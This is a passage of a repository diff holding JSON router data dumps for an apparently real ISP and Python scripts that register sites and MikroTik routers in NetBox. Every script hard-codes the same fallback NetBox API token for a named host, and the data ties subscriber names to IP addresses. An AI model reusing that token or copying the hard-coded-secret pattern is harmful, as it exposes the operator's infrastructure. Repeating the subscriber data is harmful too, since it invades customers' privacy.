"name": "<pppoe-taekim>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-tammieventris>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timbagert>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timgilbert>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "climax-bridge",
"type": "bridge",
"mac": "F4:1E:57:6B:41:C1",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "mgmt",
"type": "bridge",
"mac": "F4:1E:57:6B:41:C6",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_sfp-sfpplus1",
"type": "vlan",
"mac": "F4:1E:57:6B:41:D0",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether7",
"vlan_id": 10,
"interface": "ether7-switch"
},
{
"name": "vlan10_sfp-sfpplus1",
"vlan_id": 10,
"interface": "sfp-sfpplus1"
}
],
"pppoe_servers": [
{
"service_name": "Climax",
"interface": "climax-bridge"
}
],
"routes": [
{
"destination": "10.10.0.0/20",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.10.80.0/20",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.64/29",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.101/32",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.111/32",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "100.10.160.0/20",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.0.0/22",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.160.0/20",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.64/27",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.224/27",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.191.0/27",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
}
]
}

669
climax_router_data.json Normal file
View file

@ -0,0 +1,669 @@
{
"host": "10.254.254.102",
"identity": null,
"timestamp": "2026-02-06T12:54:21.532581",
"subnets": [
{
"address": "10.0.102.254/24",
"network": "10.0.102.0",
"interface": "ether1-climaxtower",
"comment": "",
"dynamic": false
},
{
"address": "10.254.254.102/32",
"network": "10.254.254.102",
"interface": "lo",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.62/27",
"network": "204.110.188.32",
"interface": "climax-bridge",
"comment": "",
"dynamic": false
},
{
"address": "100.64.7.254/22",
"network": "100.64.4.0",
"interface": "climax-bridge",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.14/29",
"network": "10.250.1.8",
"interface": "ether3-culleoka-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.30/29",
"network": "10.250.1.24",
"interface": "ether6-verona-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.70/29",
"network": "10.250.1.64",
"interface": "ether5-494",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.94/29",
"network": "10.250.1.88",
"interface": "ether4-380-airfiber24",
"comment": "",
"dynamic": false
},
{
"address": "10.10.31.254/20",
"network": "10.10.16.0",
"interface": "mgmt",
"comment": "",
"dynamic": false
},
{
"address": "100.64.7.220/32",
"network": "204.110.188.38",
"interface": "<pppoe-michaelray>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.89/32",
"network": "100.64.7.149",
"interface": "<pppoe-gordonhamilton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.64/32",
"network": "100.64.7.155",
"interface": "<pppoe-bryangoulart>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.148/32",
"network": "100.64.7.160",
"interface": "<pppoe-marysmelser>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.159/32",
"network": "100.64.7.246",
"interface": "<pppoe-chasewilliams>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.162/32",
"network": "100.64.7.243",
"interface": "<pppoe-charlesboone>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.163/32",
"network": "100.64.7.244",
"interface": "<pppoe-timgilbert>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.9/32",
"network": "100.64.7.118",
"interface": "<pppoe-rhondabolton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.2/32",
"network": "100.64.7.66",
"interface": "<pppoe-robbymccollom>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.22/32",
"network": "100.64.7.241",
"interface": "<pppoe-matthewgoodwin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.10/32",
"network": "100.64.7.250",
"interface": "<pppoe-crystalharney>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.41/32",
"network": "100.64.7.249",
"interface": "<pppoe-johnvayo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.7/32",
"network": "100.64.7.72",
"interface": "<pppoe-cynthiajones>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.11/32",
"network": "100.64.7.235",
"interface": "<pppoe-timbagert>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.35/32",
"network": "100.64.7.248",
"interface": "<pppoe-carolstrickland>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.37/32",
"network": "100.64.7.27",
"interface": "<pppoe-gregmcintire>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.34/32",
"network": "100.64.7.209",
"interface": "<pppoe-jmichaelculverhouse>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.211/32",
"network": "204.110.188.42",
"interface": "<pppoe-taekim>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.19/32",
"network": "100.64.7.91",
"interface": "<pppoe-chadwhitsell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.16/32",
"network": "100.64.7.102",
"interface": "<pppoe-douggarber>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.12/32",
"network": "100.64.7.103",
"interface": "<pppoe-glendabeauchamp>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.25/32",
"network": "100.64.7.150",
"interface": "<pppoe-amberprater>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.5/32",
"network": "100.64.7.216",
"interface": "<pppoe-ruthfengler>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.6/32",
"network": "100.64.7.228",
"interface": "<pppoe-elviraquezada>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.3/32",
"network": "100.64.7.233",
"interface": "<pppoe-janicealexander>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.4/32",
"network": "100.64.7.234",
"interface": "<pppoe-richardbarragan>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.8/32",
"network": "100.64.7.238",
"interface": "<pppoe-jenniferboon>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.21/32",
"network": "100.64.7.247",
"interface": "<pppoe-donnacampbell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.184/32",
"network": "100.64.4.1",
"interface": "<pppoe-mauriciosoto>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.13/32",
"network": "100.64.7.62",
"interface": "<pppoe-buddyswan>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.28/32",
"network": "100.64.7.71",
"interface": "<pppoe-eddieyarbrough>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.18/32",
"network": "100.64.7.106",
"interface": "<pppoe-tammieventris>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether4-380-airfiber24",
"type": "ether",
"mac": "F4:1E:57:6B:41:C3",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-494",
"type": "ether",
"mac": "F4:1E:57:6B:41:C4",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-verona-11ghz",
"type": "ether",
"mac": "F4:1E:57:6B:41:C5",
"comment": "",
"mtu": 1500
},
{
"name": "ether8-michael",
"type": "ether",
"mac": "F4:1E:57:6B:41:C7",
"comment": "",
"mtu": 1500
},
{
"name": "sfp-sfpplus1",
"type": "ether",
"mac": "F4:1E:57:6B:41:D0",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-amberprater>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-bryangoulart>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-buddyswan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-carolstrickland>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chadwhitsell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-charlesboone>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chasewilliams>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-crystalharney>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-cynthiajones>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-donnacampbell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-douggarber>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-eddieyarbrough>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-elviraquezada>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1484
},
{
"name": "<pppoe-glendabeauchamp>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-gordonhamilton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-gregmcintire>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-janicealexander>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jenniferboon>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jmichaelculverhouse>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-johnvayo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-marysmelser>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-matthewgoodwin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mauriciosoto>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-michaelray>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-rhondabolton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-richardbarragan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-robbymccollom>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ruthfengler>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-taekim>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-tammieventris>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timbagert>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timgilbert>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "climax-bridge",
"type": "bridge",
"mac": "F4:1E:57:6B:41:C1",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "mgmt",
"type": "bridge",
"mac": "F4:1E:57:6B:41:C6",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_sfp-sfpplus1",
"type": "vlan",
"mac": "F4:1E:57:6B:41:D0",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether7",
"vlan_id": 10,
"interface": "ether7-switch"
},
{
"name": "vlan10_sfp-sfpplus1",
"vlan_id": 10,
"interface": "sfp-sfpplus1"
}
],
"pppoe_servers": [
{
"service_name": "Climax",
"interface": "climax-bridge"
}
],
"routes": [
{
"destination": "10.10.0.0/20",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.10.80.0/20",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.64/29",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.101/32",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.111/32",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "100.10.160.0/20",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.0.0/22",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.160.0/20",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.64/27",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.224/27",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.191.0/27",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
}
]
}

309
create_site_and_router.py Normal file
View file

@ -0,0 +1,309 @@
#!/usr/bin/env python3
import os
import sys
import argparse
import requests
import json
from urllib.parse import urljoin
class NetBoxManager:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def patch(self, endpoint, data):
"""Make PATCH request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.patch(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error updating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def create_site(self, name, slug=None, status='active', comments='', physical_address=''):
"""Create a new site"""
if not slug:
slug = name.lower().replace(' ', '-').replace('_', '-')
site_data = {
'name': name,
'slug': slug,
'status': status,
'comments': comments
}
if physical_address:
site_data['physical_address'] = physical_address
return self.post('dcim/sites/', site_data)
def create_device(self, name, device_type_id, role_id, site_id, status='active', primary_ip=None):
"""Create a new device"""
device_data = {
'name': name,
'device_type': device_type_id,
'role': role_id,
'site': site_id,
'status': status
}
if primary_ip:
device_data['primary_ip4'] = primary_ip
return self.post('dcim/devices/', device_data)
def create_ip_address(self, address, status='active', description='', role=None):
"""Create a new IP address"""
ip_data = {
'address': address,
'status': status,
'description': description
}
if role:
ip_data['role'] = role
return self.post('ipam/ip-addresses/', ip_data)
def get_or_create_manufacturer(self, name):
"""Get or create a manufacturer"""
response = self.get('dcim/manufacturers/', params={'name': name})
if response['count'] > 0:
return response['results'][0]['id']
# Create manufacturer
mfg_data = {
'name': name,
'slug': name.lower()
}
created = self.post('dcim/manufacturers/', mfg_data)
return created['id']
def get_or_create_device_type(self, model, manufacturer_id):
"""Get or create a device type"""
response = self.get('dcim/device-types/', params={'model': model})
if response['count'] > 0:
return response['results'][0]['id']
# Create device type
dt_data = {
'manufacturer': manufacturer_id,
'model': model,
'slug': model.lower().replace(' ', '-').replace('/', '-')
}
created = self.post('dcim/device-types/', dt_data)
return created['id']
def get_or_create_device_role(self, name, slug=None):
"""Get or create a device role"""
if not slug:
slug = name.lower().replace(' ', '-')
response = self.get('dcim/device-roles/', params={'name': name})
if response['count'] > 0:
return response['results'][0]['id']
# Create device role
role_data = {
'name': name,
'slug': slug,
'color': '2196f3' # Blue color
}
created = self.post('dcim/device-roles/', role_data)
return created['id']
def create_site_and_router(site_name, router_ip, router_name=None, manufacturer='MikroTik',
device_type='RouterBOARD', device_role='Router',
site_comments='', physical_address=''):
"""
Create a site and router in NetBox
Args:
site_name: Name of the site (e.g., 'Verona', 'Climax')
router_ip: Loopback IP of the router (e.g., '10.254.254.101')
router_name: Name for the router device (defaults to '{site_name}-router')
manufacturer: Device manufacturer (default: MikroTik)
device_type: Device model/type (default: RouterBOARD)
device_role: Role of the device (default: Router)
site_comments: Comments for the site
physical_address: Physical address of the site
"""
# Get API token from environment variable or use the one from CLAUDE.md
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# Initialize NetBox client
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
# Default router name if not provided
if not router_name:
router_name = f"{site_name.lower()}-router"
# Default site comments if not provided
if not site_comments:
site_comments = f"{site_name} tower site with {manufacturer} router"
print(f"=== Creating {site_name} Site and Router in NetBox ===\n")
# Check if site exists
site_response = nb.get('dcim/sites/', params={'name': site_name})
if site_response['count'] == 0:
# Create site
print(f"Creating {site_name} site...")
try:
site = nb.create_site(
name=site_name,
slug=site_name.lower(),
status='active',
comments=site_comments,
physical_address=physical_address
)
site_id = site['id']
print(f"✓ Created {site_name} site (ID: {site_id})")
except Exception as e:
print(f"✗ Failed to create {site_name} site: {e}")
return None, None
else:
site_id = site_response['results'][0]['id']
print(f"{site_name} site already exists (ID: {site_id})")
# Check if router already exists
device_response = nb.get('dcim/devices/', params={'name': router_name, 'site_id': site_id})
if device_response['count'] == 0:
print(f"\nCreating {router_name} device...")
# Get or create manufacturer
print(f" - Setting up manufacturer ({manufacturer})...")
manufacturer_id = nb.get_or_create_manufacturer(manufacturer)
# Get or create device type
print(f" - Setting up device type ({device_type})...")
device_type_id = nb.get_or_create_device_type(device_type, manufacturer_id)
# Get or create device role
print(f" - Setting up device role ({device_role})...")
role_id = nb.get_or_create_device_role(device_role)
# Create the device
try:
device = nb.create_device(
name=router_name,
device_type_id=device_type_id,
role_id=role_id,
site_id=site_id,
status='active'
)
device_id = device['id']
print(f"✓ Created {router_name} device (ID: {device_id})")
# Add primary IP
print(f"\n - Adding primary IP address ({router_ip}/32)...")
# Check if IP already exists
ip_response = nb.get('ipam/ip-addresses/', params={'address': f"{router_ip}/32"})
if ip_response['count'] == 0:
# Create IP address
try:
ip_data = nb.create_ip_address(
address=f"{router_ip}/32",
status='active',
description=f'{router_name} loopback',
role='loopback'
)
ip_id = ip_data['id']
print(f"✓ Created IP address {router_ip}/32")
except Exception as e:
print(f"✗ Failed to create IP address: {e}")
ip_id = None
else:
ip_id = ip_response['results'][0]['id']
print(f"✓ IP address {router_ip}/32 already exists")
# Set as primary IP for the device
if ip_id:
try:
device_update = {
'primary_ip4': ip_id
}
nb.patch(f"dcim/devices/{device_id}/", device_update)
print("✓ Set as primary IP for device")
except Exception as e:
print(f"✗ Failed to set primary IP: {e}")
except Exception as e:
print(f"✗ Failed to create {router_name}: {e}")
return site_id, None
else:
device_id = device_response['results'][0]['id']
print(f"{router_name} already exists (ID: {device_id})")
print(f"\n=== Summary ===")
print(f"Site: {site_name} (ID: {site_id})")
print(f"Device: {router_name} (ID: {device_id})")
return site_id, device_id
def main():
parser = argparse.ArgumentParser(description='Create a site and router in NetBox')
parser.add_argument('site_name', help='Name of the site (e.g., Verona, Climax)')
parser.add_argument('router_ip', help='Loopback IP of the router (e.g., 10.254.254.101)')
parser.add_argument('--router-name', help='Name for the router (default: {site}-router)')
parser.add_argument('--manufacturer', default='MikroTik', help='Device manufacturer')
parser.add_argument('--device-type', default='RouterBOARD', help='Device model/type')
parser.add_argument('--device-role', default='Router', help='Device role')
parser.add_argument('--site-comments', help='Comments for the site')
parser.add_argument('--physical-address', help='Physical address of the site')
args = parser.parse_args()
site_id, device_id = create_site_and_router(
site_name=args.site_name,
router_ip=args.router_ip,
router_name=args.router_name,
manufacturer=args.manufacturer,
device_type=args.device_type,
device_role=args.device_role,
site_comments=args.site_comments,
physical_address=args.physical_address
)
if site_id and device_id:
print(f"\nSuccess! You can now add network data for this site.")
return 0
else:
print(f"\nPartial success or failure. Check the output above.")
return 1
if __name__ == "__main__":
sys.exit(main())

140
create_site_only.py Normal file
View file

@ -0,0 +1,140 @@
#!/usr/bin/env python3
import os
import sys
import argparse
import requests
from urllib.parse import urljoin
class NetBoxManager:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def create_site(self, name, slug=None, status='active', comments='', physical_address=''):
"""Create a new site"""
if not slug:
slug = name.lower().replace(' ', '-').replace('_', '-')
site_data = {
'name': name,
'slug': slug,
'status': status,
'comments': comments
}
if physical_address:
site_data['physical_address'] = physical_address
return self.post('dcim/sites/', site_data)
def create_site(site_name, site_comments='', physical_address='', slug=None):
"""
Create a site in NetBox
Args:
site_name: Name of the site
site_comments: Comments for the site
physical_address: Physical address of the site
slug: Custom slug for the site (defaults to lowercase hyphenated name)
"""
# Get API token from environment variable or use the one from CLAUDE.md
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# Initialize NetBox client
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
print(f"=== Creating {site_name} Site in NetBox ===\n")
# Check if site exists
site_response = nb.get('dcim/sites/', params={'name': site_name})
if site_response['count'] == 0:
# Create site
print(f"Creating {site_name} site...")
try:
site = nb.create_site(
name=site_name,
slug=slug,
status='active',
comments=site_comments,
physical_address=physical_address
)
site_id = site['id']
print(f"✓ Created {site_name} site (ID: {site_id})")
print(f" Name: {site['name']}")
print(f" Slug: {site['slug']}")
print(f" Status: {site['status']['label']}")
if site_comments:
print(f" Comments: {site_comments}")
if physical_address:
print(f" Address: {physical_address}")
return site_id
except Exception as e:
print(f"✗ Failed to create {site_name} site: {e}")
return None
else:
site = site_response['results'][0]
site_id = site['id']
print(f"{site_name} site already exists (ID: {site_id})")
print(f" Name: {site['name']}")
print(f" Slug: {site['slug']}")
print(f" Status: {site['status']['label']}")
if site.get('comments'):
print(f" Comments: {site['comments']}")
return site_id
def main():
parser = argparse.ArgumentParser(description='Create a site in NetBox')
parser.add_argument('site_name', help='Name of the site')
parser.add_argument('--comments', help='Comments for the site')
parser.add_argument('--address', help='Physical address of the site')
parser.add_argument('--slug', help='Custom slug for the site')
args = parser.parse_args()
site_id = create_site(
site_name=args.site_name,
site_comments=args.comments or '',
physical_address=args.address or '',
slug=args.slug
)
if site_id:
print(f"\nSuccess! Site created with ID: {site_id}")
print(f"You can now add devices to this site using:")
print(f" python3 create_site_and_router.py \"{args.site_name}\" <router_ip> --router-name <name>")
return 0
else:
print(f"\nFailed to create site.")
return 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -0,0 +1,207 @@
#!/usr/bin/env python3
import os
import requests
import json
from urllib.parse import urljoin
class NetBoxManager:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def create_site(self, name, slug=None, status='active', comments=''):
"""Create a new site"""
if not slug:
slug = name.lower().replace(' ', '-')
site_data = {
'name': name,
'slug': slug,
'status': status,
'comments': comments
}
return self.post('dcim/sites/', site_data)
def create_device(self, name, device_type_id, role_id, site_id, status='active'):
"""Create a new device"""
device_data = {
'name': name,
'device_type': device_type_id,
'role': role_id,
'site': site_id,
'status': status
}
return self.post('dcim/devices/', device_data)
def get_or_create_manufacturer(self, name):
"""Get or create a manufacturer"""
response = self.get('dcim/manufacturers/', params={'name': name})
if response['count'] > 0:
return response['results'][0]['id']
# Create manufacturer
mfg_data = {
'name': name,
'slug': name.lower()
}
created = self.post('dcim/manufacturers/', mfg_data)
return created['id']
def get_or_create_device_type(self, model, manufacturer_id):
"""Get or create a device type"""
response = self.get('dcim/device-types/', params={'model': model})
if response['count'] > 0:
return response['results'][0]['id']
# Create device type
dt_data = {
'manufacturer': manufacturer_id,
'model': model,
'slug': model.lower().replace(' ', '-').replace('/', '-')
}
created = self.post('dcim/device-types/', dt_data)
return created['id']
def get_or_create_device_role(self, name, slug=None):
"""Get or create a device role"""
if not slug:
slug = name.lower().replace(' ', '-')
response = self.get('dcim/device-roles/', params={'name': name})
if response['count'] > 0:
return response['results'][0]['id']
# Create device role
role_data = {
'name': name,
'slug': slug,
'color': '2196f3' # Blue color
}
created = self.post('dcim/device-roles/', role_data)
return created['id']
def main():
# Get API token from environment variable or use the one from CLAUDE.md
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# Initialize NetBox client
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
print("=== Creating Verona Site and Router in NetBox ===\n")
# Check if Verona site exists
site_response = nb.get('dcim/sites/', params={'name': 'Verona'})
if site_response['count'] == 0:
# Create Verona site
print("Creating Verona site...")
try:
site = nb.create_site(
name='Verona',
slug='verona',
status='active',
comments='Verona tower site with MikroTik router'
)
site_id = site['id']
print(f"✓ Created Verona site (ID: {site_id})")
except Exception as e:
print(f"✗ Failed to create Verona site: {e}")
return
else:
site_id = site_response['results'][0]['id']
print(f"✓ Verona site already exists (ID: {site_id})")
# Check if router already exists
device_response = nb.get('dcim/devices/', params={'name': 'verona-router', 'site_id': site_id})
if device_response['count'] == 0:
print("\nCreating Verona router device...")
# Get or create MikroTik manufacturer
print(" - Setting up manufacturer...")
manufacturer_id = nb.get_or_create_manufacturer('MikroTik')
# Get or create device type (assuming RouterBOARD or generic)
print(" - Setting up device type...")
device_type_id = nb.get_or_create_device_type('RouterBOARD', manufacturer_id)
# Get or create device role
print(" - Setting up device role...")
role_id = nb.get_or_create_device_role('Router')
# Create the device
try:
device = nb.create_device(
name='verona-router',
device_type_id=device_type_id,
role_id=role_id,
site_id=site_id,
status='active'
)
device_id = device['id']
print(f"✓ Created Verona router device (ID: {device_id})")
# Add primary IP
print("\n - Adding primary IP address...")
ip_data = {
'address': '10.254.254.101/32',
'status': 'active',
'description': 'Verona router loopback',
'role': 'loopback'
}
try:
ip_response = nb.post('ipam/ip-addresses/', ip_data)
ip_id = ip_response['id']
# Set as primary IP for the device
device_update = {
'primary_ip4': ip_id
}
nb.session.patch(f"{nb.api_url}dcim/devices/{device_id}/", json=device_update)
print("✓ Added primary IP address")
except Exception as e:
print(f"✗ Failed to add primary IP: {e}")
except Exception as e:
print(f"✗ Failed to create Verona router: {e}")
return
else:
device_id = device_response['results'][0]['id']
print(f"✓ Verona router already exists (ID: {device_id})")
print(f"\n=== Summary ===")
print(f"Site: Verona (ID: {site_id})")
print(f"Device: verona-router (ID: {device_id})")
print(f"\nYou can now run update_netbox_verona.py to add all the subnet and interface data.")
if __name__ == "__main__":
main()

788
culleoka_config.json Normal file
View file

@ -0,0 +1,788 @@
{
"host": "10.254.254.104",
"identity": null,
"timestamp": "2026-03-26T17:14:55.475749",
"subnets": [
{
"address": "10.254.254.104/32",
"network": "10.254.254.104",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "100.64.27.254/22",
"network": "100.64.24.0",
"interface": "ether2-netonix",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.158/27",
"network": "204.110.188.128",
"interface": "public",
"comment": "",
"dynamic": false
},
{
"address": "10.0.104.254/24",
"network": "10.0.104.0",
"interface": "culleoka-tower",
